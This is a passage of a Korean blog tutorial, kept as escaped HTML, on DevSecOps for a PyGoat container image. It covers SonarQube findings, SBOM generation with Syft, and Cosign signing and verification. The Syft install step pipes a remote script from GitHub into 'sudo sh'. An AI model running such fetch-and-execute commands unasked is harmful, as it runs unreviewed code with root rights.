&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-path-to-node=&quot;8&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;인터페이스 제한:&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; 로컬 환경에서는 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;127.0.0.1(localhost)&lt;/span&gt;로 바인딩하여 외부 접근 차단&lt;/span&gt;&lt;/li&gt;
&lt;li data-path-to-node=&quot;8&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;디버그 모드 비활성화:&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt; 운영 환경(Production) 배포 시 반드시 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;debug=False &lt;/span&gt;설정 적용&lt;/span&gt;&lt;/li&gt;
&lt;li data-path-to-node=&quot;8&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,2,0&quot;&gt;환경 변수 분기:&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt; FLASK_ENV &lt;/span&gt;환경 변수에 따라 개발/운영 모드 동적 전환 구조 채택&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;예시) Reliability - HTML 문서 내 &amp;lt;title&amp;gt; 태그 누락&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;398&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ryu9m/dJMcafTWErc/VnJHCXlAZ7otRwcd59rXD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ryu9m/dJMcafTWErc/VnJHCXlAZ7otRwcd59rXD0/img.png&quot; data-alt=&quot;ㅇ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ryu9m/dJMcafTWErc/VnJHCXlAZ7otRwcd59rXD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fryu9m%2FdJMcafTWErc%2FVnJHCXlAZ7otRwcd59rXD0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;550&quot; height=&quot;252&quot; data-origin-width=&quot;868&quot; data-origin-height=&quot;398&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ㅇ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;예시) Reliability - datetime.utcnow()사용 지양&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1062&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vcy84/dJMcagZAfps/kZkb8KIgJhOpOOkfuWX91K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vcy84/dJMcagZAfps/kZkb8KIgJhOpOOkfuWX91K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vcy84/dJMcagZAfps/kZkb8KIgJhOpOOkfuWX91K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvcy84%2FdJMcagZAfps%2FkZkb8KIgJhOpOOkfuWX91K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;410&quot; data-origin-width=&quot;1062&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;예시) Security Hotspots - HTTP Method 허용 범위 검토&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6WzBv/dJMb997fGNH/xtpo36gLXUZGKM33QNB8A1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6WzBv/dJMb997fGNH/xtpo36gLXUZGKM33QNB8A1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6WzBv/dJMb997fGNH/xtpo36gLXUZGKM33QNB8A1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6WzBv%2FdJMb997fGNH%2Fxtpo36gLXUZGKM33QNB8A1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;191&quot; data-origin-width=&quot;865&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이외의 다양한 취약점들을 직접 확인해보고 수정을 하거나 status 변경 처리를 통해 해결한다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;5. Syft와 Cosign을 이용한 소프트웨어 공급망 보안(Supply Chain)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Syft&lt;/b&gt;는 소프트웨어 성분 분석표인 &lt;b&gt;SBOM(Software Bill of Materials)를 생성&lt;/b&gt;하는 도구이다. &lt;b&gt;오픈소스 라이브러리, OS 패키지, 바이너리 파일 등등 모든 구성 요소를 목록화&lt;/b&gt;한다. Snyk가 라이브러리의 보안 위험을 걸러내는 필터라면 Syft는 위험 여부와 상관없이 내부에 무엇이 들어있는지를 투명하게 기록하는 장치이다. 이를 통해 새로운 보안 사고(Zero day)가 터졌을 때 우리 시스템이 영향권인지 즉각 파악할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Cosign&lt;/b&gt;은 빌드가 끝난 &lt;b&gt;정품 이미지나 SBOM에 서명&lt;/b&gt;을해서 배포 과정에서 해커가 악성코드를 심은 가짜 이미지로 바꿔치기하는 공급망 공격을 원천 차단하여 &lt;b&gt;무결성을 보장&lt;/b&gt;한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결국 Syft로 무엇이 들어있는지를 명시하고 Cosign으로 변조되지 않았음을 인증하는 과정이다.&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-1 Syft 설치 및 SBOM 생성&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;쉘에서 직접 설치&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777282689982&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sudo sh -s -- -b /usr/local/bin&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;실행 및 SBOM 생성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777282940473&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;syft pygoat-web -o cyclonedx-json &amp;gt; pygoat-web.sbom.json&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;pygoat-web&lt;/span&gt; : &lt;b&gt;분석 대상(Target),&lt;/b&gt;&amp;nbsp;로컬 Docker 데몬에 저장된 이미지 이름 지정&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;-o cyclonedx-json &lt;/span&gt;: &lt;b&gt;출력 포맷(Output).&lt;/b&gt; 국제 표준인 &lt;b&gt;CycloneDX&lt;/b&gt; 형식 선택 (보안도구 간 호환성)&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&amp;gt;&lt;/span&gt; : 리다이렉션 터미널에 출력될 텍스트를 파일로 저장하도록 지시&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;pygoat-web.sbom.json&lt;/span&gt; : 최종 결과 파일명.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;Syft 내부 동작 프로세스&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;이미지 인덱싱(Indexing):&lt;/b&gt; 로컬 Docker 저장소에서 pygoat-web 이미지를 찾아 각 레이어(Layer)를 가상으로 마운트함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;카탈로깅(Cataloging):&lt;/b&gt; 각 레이어를 훑으며 패키지 매니저의 흔적을 찾음.
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;/var/lib/dpkg&lt;/span&gt;를 보고 &lt;b data-index-in-node=&quot;18&quot; data-path-to-node=&quot;8,1,1,0,0&quot;&gt;OS 패키지&lt;/b&gt; 리스트 확보.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;site-packages&lt;/span&gt;나 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;requirements.txt&lt;/span&gt;를 보고 &lt;b data-index-in-node=&quot;36&quot; data-path-to-node=&quot;8,1,1,1,0&quot;&gt;Python 라이브러리&lt;/b&gt; 리스트 확보.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;포맷팅(Formatting):&lt;/b&gt; 수집된 데이터를 CycloneDX 표준 규격에 맞춰 JSON 형태로 구조화함.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-2 SBOM(Software Bill of Material) 분석&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SBOM의 핵심 필드는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;532&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGwzR5/dJMcaf0FYMF/AFeUWb0vWmptbwSXjExDYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGwzR5/dJMcaf0FYMF/AFeUWb0vWmptbwSXjExDYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGwzR5/dJMcaf0FYMF/AFeUWb0vWmptbwSXjExDYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGwzR5%2FdJMcaf0FYMF%2FAFeUWb0vWmptbwSXjExDYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;676&quot; height=&quot;532&quot; data-origin-width=&quot;676&quot; data-origin-height=&quot;532&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-3&amp;nbsp; Cosign 설치&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1777289064728&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 최신 버전 확인 및 바이너리 다운로드
LATEST_VERSION=$(curl -L -s -H &quot;Accept: application/vnd.github+json&quot; https://api.github.com/repos/sigstore/cosign/releases/latest | grep tag_name | sed -e 's/.*&quot;\(.*\)&quot;.*/\1/')
curl -L -O &quot;https://github.com/sigstore/cosign/releases/download/${LATEST_VERSION}/cosign-linux-amd64&quot;

# 2. 실행 권한 부여 및 시스템 경로로 이동
sudo mv cosign-linux-amd64 /usr/local/bin/cosign
sudo chmod +x /usr/local/bin/cosign

# 3. 설치 확인
cosign version&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-4 Cosign을 이용한 서명 실행&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) 암호화 키 쌍 생성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 &lt;b&gt;서명을 위한 최소한의 신뢰 기반을 마련&lt;/b&gt;하는 단계로 &lt;b&gt;비대칭 암호화 알고리즘 기반의 키 쌍을 생성&lt;/b&gt;한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,1,0,0&quot;&gt;Private Key (cosign.key):&lt;/b&gt; &lt;b data-index-in-node=&quot;26&quot; data-path-to-node=&quot;4,2,1,0,0&quot;&gt;서명용 비밀키&lt;/b&gt;. CI/CD 환경(GitHub Actions Secrets)에 엄격히 격리하여 관리해야 함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,1,1,0&quot;&gt;Public Key (cosign.pub):&lt;/b&gt; &lt;b data-index-in-node=&quot;25&quot; data-path-to-node=&quot;4,2,1,1,0&quot;&gt;검증용 공개키&lt;/b&gt;. 이미지를 사용하는 모든 클라이언트(Kubernetes 등)에 배포되어 정품 여부를 대조함&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777290166583&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cosign generate-key-pair&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) 아티팩트 서명 (Artifact Signing) 및 검증&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지라는 결과물에 디지털 서명을 결합하여 출처인증을 완료한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3,0,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,0&quot;&gt;1. 네임스페이스 경로 최적화 (Namespace Setup)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,0,1,0,0&quot;&gt;원리:&lt;/b&gt; 이미지를 공유 레지스트리에 배포하기 위해 개인 또는 조직(Org)의 계정 경로로 이름을 정의하고 권한을 획득함.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777303780954&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 레지스트리 소유권 정의
export DOCKER_ID=&quot;DOCKER_ID&quot;
docker login

# 이미지 경로 변경 및 원격 저장소 업로드
docker tag pygoat-web:latest $DOCKER_ID/pygoat-web:latest
docker push $DOCKER_ID/pygoat-web:latest&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3,1,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,0&quot;&gt;2. 불변 식별자 기반 주소 확정 (Digest Identification)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,1,0,0&quot;&gt;원리:&lt;/b&gt; 내용이 바뀔 수 있는 latest 태그 대신, &lt;b&gt;빌드된 시점의 고유한 데이터 지문(sha256)을 추출하여 서명 대상을 고정&lt;/b&gt;함.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777303818812&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 원격 레지스트리에 올라간 이미지의 고유 Digest 주소 추출
export IMAGE_WITH_ID=$(docker inspect --format='{{index .RepoDigests 0}}' $DOCKER_ID/pygoat-web:latest)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3,2,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,0&quot;&gt;3. 개인키를 활용한 디지털 인장 날인 (Artifact Signing)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,2,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,2,1,0,0&quot;&gt;원리:&lt;/b&gt; 제작자만 보유한 &lt;b&gt;개인키로 이미지 지문을 암호화&lt;/b&gt;하여 해당 소프트웨어의 출처와 무결성을 보장함.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777303846202&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 생성해둔 cosign.key를 사용하여 이미지에 서명 데이터 부여
cosign sign --key cosign.key $IMAGE_WITH_ID&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3,3,0&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,0&quot;&gt;4. 공개키를 활용한 신뢰성 검증 (Trust Verification)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,3,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,3,1,0,0&quot;&gt;원리:&lt;/b&gt; 배포 환경에서 누구나 접근 가능한 공개키로 서명을 해독하여, 제작자의 신원을 확인하고 이미지가 변조되지 않았음을 수학적으로 증명함.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777303873990&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 공개키(cosign.pub)를 통해 서명 유효성 및 이미지 동일성 최종 확인
cosign verify --key cosign.pub $IMAGE_WITH_ID&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXYRCu/dJMcahjXf5E/krI77HyW6e0LUCgE3iQDe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXYRCu/dJMcahjXf5E/krI77HyW6e0LUCgE3iQDe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXYRCu/dJMcahjXf5E/krI77HyW6e0LUCgE3iQDe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXYRCu%2FdJMcahjXf5E%2FkrI77HyW6e0LUCgE3iQDe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;911&quot; height=&quot;246&quot; data-origin-width=&quot;911&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;1. 핵심 성공 지표 (진단)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;[The cosign claims were validated]&lt;/b&gt;: 서명 데이터 내에 포함된 이미지 주소, 태그, 생성 시간 등의 정보가 조작되지 않고 유효함을 확인.&lt;br /&gt;&lt;b&gt;[Existence of the claims in the transparency log...]&lt;/b&gt;: 해당 서명 이력이 로그 서버에 기록되어, 누군가 몰래 서명을 교체하거나 삭제할 수 없는 상태임을 증명.&lt;br /&gt;&lt;b&gt;[The signatures were verified against the specified public key]&lt;/b&gt;: *공개키(cosign.pub)*를 통해, 이미지가 개인키로 직접 서명된 진본임을 수학적으로 확정.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 데이터 무결성 상세 (위협 분석)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;docker-reference&lt;/b&gt;: 서명된 타겟이&lt;span style=&quot;background-color: #f6e199;&quot;&gt; index.docker.io/{DOCKER_ID}/pygoat-web&lt;/span&gt;임을 명시하여, 다른 저장소로 이미지가 탈취되거나 변조되는 것을 방지&lt;br /&gt;&lt;b&gt;docker-manifest-digest&lt;/b&gt;: 검증된 이미지의 고유 지문(sha256:82c7...)을 출력. 서명 시점과 현재 이미지가 1비트의 오차도 없이 동일함을 의미하는 무결성의 핵심 지표.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;5-5 SBOM 어테스테이션(Attestation)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Attestation&lt;/b&gt;은&lt;b&gt; 소프트웨어의 신원 증명을 넘어 그 내부 성분과 보안 검사 결과가 사실임을 암호학적으로 보증하는 디지털 공인 인증서&lt;/b&gt;이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4,0,0&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;1단계: SBOM 성분 명세서 결합 (Attestation)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4,0,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
